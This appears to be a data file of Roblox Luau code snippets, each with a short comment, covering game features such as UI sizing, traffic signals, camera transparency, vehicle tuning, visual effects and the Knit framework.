local widthScale = (cellSizeXScale > 0 and cellSizeXScale) or 0
local widthOffset = (cellSizeXScale > 0 and 0) or math.clamp(desiredCellWidth, minCellWidth, maxCellWidth)
self:set("iconSize", UDim2.new(widthScale, widthOffset, values.iconSize.Y.Scale, values.iconSize.Y.Offset), iconState, "_ignorePrevious")
self._updatingIconSize = false
end
end
self:set("iconLabelTextSize", labelHeight, iconState)
self:set("noticeFramePosition", UDim2.new(notifPosYScale, 0, 0, -2), iconState)
-- Caption
if self.captionText then
local CAPTION_X_MARGIN = 6
local CAPTION_CONTAINER_Y_SIZE_SCALE = 0.8
local CAPTION_LABEL_Y_SCALE = 0.58
local captionContainer = self.instances.captionContainer
local captionLabel = self.instances.captionLabel
local captionContainerHeight = cellHeight * CAPTION_CONTAINER_Y_SIZE_SCALE
local captionLabelHeight = captionContainerHeight * CAPTION_LABEL_Y_SCALE
local labelFont = self:get("captionFont")
local textWidth = textService:GetTextSize(self.captionText, captionLabelHeight, labelFont, Vector2.new(10000, captionLabelHeight)).X
captionLabel.TextSize = captionLabelHeight
captionLabel.Size = UDim2.new(0, textWidth, CAPTION_LABEL_Y_SCALE, 0)
captionContainer.Size = UDim2.new(0, textWidth + CAPTION_X_MARGIN*2, 0, cellHeight*CAPTION_CONTAINER_Y_SIZE_SCALE)
end
self._updatingIconSize = false
end
|
--SHUTS OFF ALL SIGNALS |
while true do
script.Parent.Parent.SignalValues.Signal1.Value = 0
script.Parent.Parent.SignalValues.Signal1a.Value = 0
script.Parent.Parent.SignalValues.Signal2.Value = 0
script.Parent.Parent.SignalValues.Signal2a.Value = 0
script.Parent.Parent.TurnValues.TurnSignal1.Value = 0
script.Parent.Parent.TurnValues.TurnSignal1a.Value = 0
script.Parent.Parent.TurnValues.TurnSignal2.Value = 0
script.Parent.Parent.TurnValues.TurnSignal2a.Value = 0
script.Parent.Parent.PedValues.PedSignal1.Value = 0
script.Parent.Parent.PedValues.PedSignal1a.Value = 0
script.Parent.Parent.PedValues.PedSignal2.Value = 0
script.Parent.Parent.PedValues.PedSignal2a.Value = 0
wait()
end
|
--Code-- |
local function PlayerTouched(Part)
local Parent = Part.Parent
if game.Players:GetPlayerFromCharacter(Parent) then
wait(1)
Parent.Humanoid.Health = 0
end
end
Brick.Touched:connect(PlayerTouched)
|
--[[ The Module ]] | --
local TransparencyController = {}
TransparencyController.__index = TransparencyController
function TransparencyController.new()
local self = setmetatable({}, TransparencyController)
self.lastUpdate = tick()
self.transparencyDirty = false
self.enabled = false
self.lastTransparency = nil
self.descendantAddedConn, self.descendantRemovingConn = nil, nil
self.toolDescendantAddedConns = {}
self.toolDescendantRemovingConns = {}
self.cachedParts = {}
return self
end
function TransparencyController:HasToolAncestor(object)
if object.Parent == nil then return false end
return object.Parent:IsA('Tool') or self:HasToolAncestor(object.Parent)
end
function TransparencyController:IsValidPartToModify(part)
if part:IsA('BasePart') or part:IsA('Decal') then
return not self:HasToolAncestor(part)
end
return false
end
function TransparencyController:CachePartsRecursive(object)
if object then
if self:IsValidPartToModify(object) then
self.cachedParts[object] = true
self.transparencyDirty = true
end
for _, child in pairs(object:GetChildren()) do
self:CachePartsRecursive(child)
end
end
end
function TransparencyController:TeardownTransparency()
for child, _ in pairs(self.cachedParts) do
child.LocalTransparencyModifier = 0
end
self.cachedParts = {}
self.transparencyDirty = true
self.lastTransparency = nil
if self.descendantAddedConn then
self.descendantAddedConn:disconnect()
self.descendantAddedConn = nil
end
if self.descendantRemovingConn then
self.descendantRemovingConn:disconnect()
self.descendantRemovingConn = nil
end
for object, conn in pairs(self.toolDescendantAddedConns) do
conn:Disconnect()
self.toolDescendantAddedConns[object] = nil
end
for object, conn in pairs(self.toolDescendantRemovingConns) do
conn:Disconnect()
self.toolDescendantRemovingConns[object] = nil
end
end
function TransparencyController:SetupTransparency(character)
self:TeardownTransparency()
if self.descendantAddedConn then self.descendantAddedConn:disconnect() end
self.descendantAddedConn = character.DescendantAdded:Connect(function(object)
-- This is a part we want to invisify
if self:IsValidPartToModify(object) then
self.cachedParts[object] = true
self.transparencyDirty = true
-- There is now a tool under the character
elseif object:IsA('Tool') then
if self.toolDescendantAddedConns[object] then self.toolDescendantAddedConns[object]:Disconnect() end
self.toolDescendantAddedConns[object] = object.DescendantAdded:Connect(function(toolChild)
self.cachedParts[toolChild] = nil
if toolChild:IsA('BasePart') or toolChild:IsA('Decal') then
-- Reset the transparency
toolChild.LocalTransparencyModifier = 0
end
end)
if self.toolDescendantRemovingConns[object] then self.toolDescendantRemovingConns[object]:disconnect() end
self.toolDescendantRemovingConns[object] = object.DescendantRemoving:Connect(function(formerToolChild)
wait() -- wait for new parent
if character and formerToolChild and formerToolChild:IsDescendantOf(character) then
if self:IsValidPartToModify(formerToolChild) then
self.cachedParts[formerToolChild] = true
self.transparencyDirty = true
end
end
end)
end
end)
if self.descendantRemovingConn then self.descendantRemovingConn:disconnect() end
self.descendantRemovingConn = character.DescendantRemoving:connect(function(object)
if self.cachedParts[object] then
self.cachedParts[object] = nil
-- Reset the transparency
object.LocalTransparencyModifier = 0
end
end)
self:CachePartsRecursive(character)
end
function TransparencyController:Enable(enable)
if self.enabled ~= enable then
self.enabled = enable
self:Update()
end
end
function TransparencyController:SetSubject(subject)
local character = nil
if subject and subject:IsA("Humanoid") then
character = subject.Parent
end
if subject and subject:IsA("VehicleSeat") and subject.Occupant then
character = subject.Occupant.Parent
end
if character then
self:SetupTransparency(character)
else
self:TeardownTransparency()
end
end
function TransparencyController:Update()
local instant = false
local now = tick()
local currentCamera = workspace.CurrentCamera
if currentCamera then
local transparency = 0
if not self.enabled then
instant = true
else
local distance = (currentCamera.Focus.p - currentCamera.CoordinateFrame.p).magnitude
transparency = (distance<2) and (1.0-(distance-0.5)/1.5) or 0 --(7 - distance) / 5
if transparency < 0.5 then
transparency = 0
end
if self.lastTransparency then
local deltaTransparency = transparency - self.lastTransparency
-- Don't tween transparency if it is instant or your character was fully invisible last frame
if not instant and transparency < 1 and self.lastTransparency < 0.95 then
local maxDelta = MAX_TWEEN_RATE * (now - self.lastUpdate)
deltaTransparency = math.clamp(deltaTransparency, -maxDelta, maxDelta)
end
transparency = self.lastTransparency + deltaTransparency
else
self.transparencyDirty = true
end
transparency = math.clamp(Util.Round(transparency, 2), 0, 1)
end
if self.transparencyDirty or self.lastTransparency ~= transparency then
for child, _ in pairs(self.cachedParts) do
child.LocalTransparencyModifier = transparency
end
self.transparencyDirty = false
self.lastTransparency = transparency
end
end
self.lastUpdate = now
end
return TransparencyController
|
--------END RIGHT DOOR -------- |
game.Workspace.doorleft.l11.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l12.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l13.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l41.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l42.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l43.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l71.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l72.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l73.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l11.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l12.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l13.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l41.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l42.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l43.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l71.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l72.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l73.BrickColor = BrickColor.new(106)
wait(0.1)
game.Workspace.doorleft.l21.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l22.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l23.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l51.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l52.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l53.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l21.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l22.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l23.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l51.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l52.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l53.BrickColor = BrickColor.new(106)
wait(0.1)
game.Workspace.doorleft.l31.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l32.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l33.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l61.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l62.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l63.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l31.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l32.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l33.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l61.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l62.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l63.BrickColor = BrickColor.new(21)
|
-- you can mess with these settings |
local easingtime = 0.1 --0~1
local walkspeeds = {
enabled = true;
walkingspeed = 35;
backwardsspeed = 25;
sidewaysspeed = 34;
diagonalspeed = 38;
runningspeed = 50;
runningFOV= 120;
}
|
-- Customization |
AntiTK = false;
MouseSense = 0.5;
CanAim = true;
CanBolt = true;
LaserAttached = false;
LightAttached = false;
TracerEnabled = false;
|
--// Beam flag wavy thing
--// Written by Informable/Autumn
--// Do not distribute without this header |
local beam = script.Parent.Beam
local p1 = script.Parent.End
local p2 = script.Parent.Start
local cf1 = p1.CFrame
local cf2 = p2.CFrame
local cos = 0
local noise = 0
local noise2 = 0
math.randomseed(tick())
local seed1 = math.random()*3+2
local seed2 = math.random()*3+2
local seed3 = math.random()*3+2
game:GetService("RunService").Stepped:connect(function()
cos = cos + .05
noise = noise + .1
noise2 = noise2 + .2
local noiser1 = math.noise(seed1,noise/35,noise/35)*3
local noiser2 = math.noise(seed2*3+2,noise2/42,noise2/42)*3
local noiser3 =math.noise(seed3*3+2,noise2/27,noise2/27)*3
p1.CFrame = cf1*CFrame.new(noiser1,0,0)*CFrame.Angles(0,math.cos(cos/2)*noiser3/3.5-1.5,0)
p2.CFrame = cf2*CFrame.Angles(0,math.sin(cos/3.5)/2+noiser2/3.5-1.5,0)
end)
|
-------------------------------------------------- |
if _Tune.Aspiration ~= "Natural" then
if _Tune.Aspiration == "Single" then
_TCount = 1
elseif _Tune.Aspiration == "Double" then
_TCount = 2
end
values.Boost.Changed:connect(function()
local boost = (math.floor(values.Boost.Value)*1.2)-((_Tune.Boost*_TCount)/5)
inboost.Rotation = -110 + 210 * math.min(1,(values.Boost.Value/(_Tune.Boost)/_TCount))
boostguage.Text = tostring(math.floor(boost))
end)
end
|
-----------------
--| Constants |--
----------------- |
local BLAST_RADIUS = script.Parent.Parent.Configurations.BlastRadius.Value -- Blast radius of the explosion
local BLAST_DAMAGE = script.Parent.Parent.Configurations.Damage.Value -- Amount of damage done to players
local BLAST_FORCE = script.Parent.Parent.Configurations.BlastForce.Value -- Amount of force applied to parts
local IGNORE_LIST = {rocket = 1, handle = 1, effect = 1, water = 1} -- Rocket will fly through things named these |
--Power Rear Wheels |
if _Tune.Config == "RWD" or _Tune.Config == "AWD" then for i,v in pairs(car.Wheels:GetChildren()) do if v.Name=="RL" or v.Name=="RR" or v.Name=="R" then table.insert(Drive,v) end end end
|
-- maps a value from one range to another, clamping to the output range. order does not matter |
function CameraUtils.mapClamp(x: number, inMin: number, inMax: number, outMin: number, outMax: number): number
return math.clamp(
(x - inMin)*(outMax - outMin)/(inMax - inMin) + outMin,
math.min(outMin, outMax),
math.max(outMin, outMax)
)
end
|
--[[**
Calls `:Cleanup()` and renders the Janitor unusable.
@returns [t:void]
**--]] |
function Janitor.__index:Destroy()
self:Cleanup()
table.clear(self)
setmetatable(self, nil)
end
Janitor.__call = Janitor.__index.Cleanup
|
-- BindableEvent_OnFailStateChanged = MasterControl:GetClickToMoveFailStateChanged() |
end
|
--[[
TYPES:
Crater
Orbit
Path
Rounded Path
Closed Path
Wall Break
Expanding Crater
Expanding Orbit
------------------------------
PROPERTIES:
PartCount -- INTEGER NUMBER TO DICTATE THE AMOUNT OF PARTS IN AN ORBIT/CRATER ATTACK
Radius -- SIZE OF A CRATER/ORBIT // For expanding you must put it in list like so: {3,10}. The first value is the staring radius, and the second being the ending radius.
Range -- RAYCAST MAX DISTANCE DOWNWARDS
Size -- VECTOR3 VALUE DICTATING PART SIZE
AnimationSpeed -- HOW FAST THE PARTS SPAWN UPWARDS
BlockSize -- THE SIZE OF A BLOCK IN A PATH (NOTE: RUN THIS VIA A LIST VALUE: {3,4} THE FIRST BEING THE INITIAL SIZE AND THE SECOND BEING THE FINAL SIZE)
Width -- THE WIDTH OF A PATH (NOTE: RUN THIS VIA A LIST VALUE: {3,4} THE FIRST BEING THE INITIAL WIDTH AND THE SECOND BEING THE FINAL WIDTH)
Distance -- THIS IS A PATH TRAVELS
stepSize -- DISTANCE BETWEEN THE PATH PARTS
HoldTime -- TIME IN SECONDS BEFORE AN EFFECT DISAPPEARS
delayTime -- TIME BETWEEN NEXT PART IN PATH (NOTE: PUTTING THIS TO "Stepped" MAKES THE DELAY TIME RUN IN A RUNSERVICE HEARTBEAT)
Angle -- CRATER ANGLE
Height -- HEIGHT OF AN EXPLOSION
Collidable -- PART COLLIDABLILITY FOR WALLBREAK AND FOR EXPLOSION
IncreaseSpeed -- THIS IS TO CHANGE THE ANIMATION SPEED FOR EXPANDING ORBITS OR EXPANDING CRATERS
SET UP:
[[ NEW ]]
--[[
local craterEffects = require(craterModule)
craterEffects.new(Type, AnchorPoint, Properties)
-- Lets try using orbit with a 5 radius and 8 part count at a tween speed of 0.2
craterEffects.new(
'Orbit', -- This is the type of effect you want
Character.HumanoidRootPart.CFrame, -- This is the start/center point (depending on the effect)
{
['AnimationSpeed'] = 0.2;
['PartCount'] = 8;
['Radius'] = 5
}
)
]]
--[[ PRESETS ]]
--[[
local craterEffects = require(craterModule)
craterEffects.presets(Presets, AnchorPoint, Extras)
-- This allows you to save presets using the instructions within the 'Presets' script.
craterEffects.presets(
'OFA', -- This is the type of effect you want
Character.HumanoidRootPart.CFrame, -- This is the start/center point (depending on the effect)
{
['AnimationSpeed'] = 0.2;
['PartCount'] = 8;
['Radius'] = 5
}
)
]] |
local Presets = require(script:WaitForChild('Presets'))
local Functions = require(script:WaitForChild('Styles'))
callback = function(called, ErrorType)
return warn('CRATER MODULE ERROR:\n '..called..' does not exist as a '..ErrorType)
end
return {
['new'] = function(Type : string, AnchorPoint : CFrame, ... : dict)
if Functions[Type] then
Functions[Type](AnchorPoint, ...)
else callback(Type, 'type')
end
end,
['presets'] = function(Preset : string, AnchorPoint : CFrame, ... : dict)
if Presets[Presets] then
local Type, Settings = Presets[Preset](...)
Functions[Type](AnchorPoint, Settings)
else callback(Preset, 'preset')
end
end,
}
|
--[=[
@within TableUtil
@function Truncate
@param tbl table
@param length number
@return table
Returns a new table truncated to the length of `length`.
```lua
local t = {10, 20, 30, 40, 50, 60, 70, 80}
local tTruncated = TableUtil.Truncate(t, 3)
print(tTruncated) --> {10, 20, 30}
```
]=] |
local function Truncate(tbl: Table, len: number): Table
return table.move(tbl, 1, len, 1, table.create(len))
end
|
--[[Usage
1. Remove Old welding script (optional, only if updating a weapon and that weapon does not rely on that script)
2. Anchor all parts of tool and put inside of a tool object
3. Place this script in that tool (make sure you do this AFTER step 2, otherwise it may fail)
4. Treat like normal tool, nothing special has to be done with it
]] | |
-- 5.) Put this in MiscWeld under Weld stuff here: |
MakeWeld(car.Misc.Speedo.N,car.DriveSeat,"Motor").Name="N"
ModelWeld(misc.Speedo.Parts,misc.Speedo.N)
|
-- Initialize the tool |
local TextureTool = {
Name = 'Texture Tool';
Color = BrickColor.new 'Bright violet';
-- Default options
Type = 'Decal';
Face = Enum.NormalId.Front;
-- Signals
OnFaceChanged = Signal.new();
}
TextureTool.ManualText = [[<font face="GothamBlack" size="16">Texture Tool 🛠</font>
Lets you add decals and textures to parts.<font size="6"><br /></font>
<b>TIP: </b>Click on any part's surface to quickly change a decal/texture's side.<font size="6"><br /></font>
<b>TIP: </b>You can paste the link to any decal and it'll automatically get the right image ID.<font size="6"><br /></font>
<b>NOTE: </b>If HttpService isn't enabled, you must manually type an image's ID.]]
|
-- / UIs / -- |
local MainGui = script.Parent.Parent
local StatsHolder = MainGui.StatsHolder
local Health = StatsHolder.Health
local HealthDisplayBar = Health.DisplayBar
local Oxygen = StatsHolder.Oxygen
local OxygenDisplayBar = Oxygen.DisplayBar
|
--s.Pitch = 0.7 |
while s.Pitch<1.21 do
s.Pitch=s.Pitch+0.010
s:Play()
if s.Pitch>1.21 then
s.Pitch=1.21
end
wait(0.001)
end
|
--------------------------------------------------------------------------------------------------------
--------------------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------------------- |
function reverseGlobalMarket(player)
local save = _L.Saving.Get(player)
if not save then
return
end
if save.HasReversedGlobalMarket then
return
end
wait(2)
-- add all auction postings back into the player's inventory
local liveAuctions = _L.Functions.CloneTable(save.Auctions)
save.Auctions = {}
for _, auctionListing in ipairs(liveAuctions) do
local quantity = auctionListing.quantity
local itemID = auctionListing.itemID
local className = auctionListing.className
local payload = {
quantity = quantity,
itemID = itemID,
className = className
}
table.insert(save.ReversedAuctionPostings, payload)
_L.Inventory.AddItem(player, className, itemID, quantity)
end
save.HasReversedGlobalMarket = true
end
|
--[[
Knit.CreateController(controller): Controller
Knit.AddControllers(folder): Controller[]
Knit.AddControllersDeep(folder): Controller[]
Knit.GetService(serviceName): Service
Knit.GetController(controllerName): Controller
Knit.Start(): Promise<void>
Knit.OnStart(): Promise<void>
--]] |
local KnitClient = {}
KnitClient.Version = script.Parent.Version.Value
KnitClient.Player = game:GetService("Players").LocalPlayer
KnitClient.Controllers = {}
KnitClient.Util = script.Parent.Util
local Promise = require(KnitClient.Util.Promise)
local Loader = require(KnitClient.Util.Loader)
local Ser = require(KnitClient.Util.Ser)
local ClientRemoteSignal = require(KnitClient.Util.Remote.ClientRemoteSignal)
local ClientRemoteProperty = require(KnitClient.Util.Remote.ClientRemoteProperty)
local TableUtil = require(KnitClient.Util.TableUtil)
local services = {}
local servicesFolder = script.Parent:WaitForChild("Services")
local started = false
local startedComplete = false
local onStartedComplete = Instance.new("BindableEvent")
local function BuildService(serviceName, folder)
local service = {}
if (folder:FindFirstChild("RF")) then
for _,rf in ipairs(folder.RF:GetChildren()) do
if (rf:IsA("RemoteFunction")) then
service[rf.Name] = function(_self, ...)
return Ser.DeserializeArgsAndUnpack(rf:InvokeServer(Ser.SerializeArgsAndUnpack(...)))
end
service[rf.Name .. "Promise"] = function(_self, ...)
local args = Ser.SerializeArgs(...)
return Promise.new(function(resolve)
resolve(Ser.DeserializeArgsAndUnpack(rf:InvokeServer(table.unpack(args, 1, args.n))))
end)
end
end
end
end
if (folder:FindFirstChild("RE")) then
for _,re in ipairs(folder.RE:GetChildren()) do
if (re:IsA("RemoteEvent")) then
service[re.Name] = ClientRemoteSignal.new(re)
end
end
end
if (folder:FindFirstChild("RP")) then
for _,rp in ipairs(folder.RP:GetChildren()) do
if (rp:IsA("ValueBase") or rp:IsA("RemoteEvent")) then
service[rp.Name] = ClientRemoteProperty.new(rp)
end
end
end
services[serviceName] = service
return service
end
function KnitClient.CreateController(controller)
assert(type(controller) == "table", "Controller must be a table; got " .. type(controller))
assert(type(controller.Name) == "string", "Controller.Name must be a string; got " .. type(controller.Name))
assert(#controller.Name > 0, "Controller.Name must be a non-empty string")
assert(KnitClient.Controllers[controller.Name] == nil, "Controller \"" .. controller.Name .. "\" already exists")
controller = TableUtil.Assign(controller, {
_knit_is_controller = true;
})
KnitClient.Controllers[controller.Name] = controller
return controller
end
function KnitClient.AddControllers(folder)
return Loader.LoadChildren(folder)
end
function KnitClient.AddControllersDeep(folder)
return Loader.LoadDescendants(folder)
end
function KnitClient.GetService(serviceName)
assert(type(serviceName) == "string", "ServiceName must be a string; got " .. type(serviceName))
local folder = servicesFolder:FindFirstChild(serviceName)
assert(folder ~= nil, "Could not find service \"" .. serviceName .. "\"")
return services[serviceName] or BuildService(serviceName, folder)
end
function KnitClient.GetController(controllerName)
return KnitClient.Controllers[controllerName]
end
function KnitClient.Start()
if (started) then
return Promise.Reject("Knit already started")
end
started = true
local controllers = KnitClient.Controllers
return Promise.new(function(resolve)
-- Init:
local promisesStartControllers = {}
for _,controller in pairs(controllers) do
if (type(controller.KnitInit) == "function") then
table.insert(promisesStartControllers, Promise.new(function(r)
controller:KnitInit()
r()
end))
end
end
resolve(Promise.All(promisesStartControllers))
end):Then(function()
-- Start:
for _,controller in pairs(controllers) do
if (type(controller.KnitStart) == "function") then
task.spawn(controller.KnitStart, controller)
end
end
startedComplete = true
onStartedComplete:Fire()
task.defer(function()
onStartedComplete:Destroy()
end)
end)
end
function KnitClient.OnStart()
if (startedComplete) then
return Promise.Resolve()
else
return Promise.FromEvent(onStartedComplete.Event)
end
end
return KnitClient
|
-- Decompiled with the Synapse X Luau decompiler. |
local u1 = math.pi * 2;
return function(p1)
if p1 < 0 then
p1 = p1 + (math.floor(-p1 / u1) + 1) * u1;
end;
return p1 % u1;
end;
|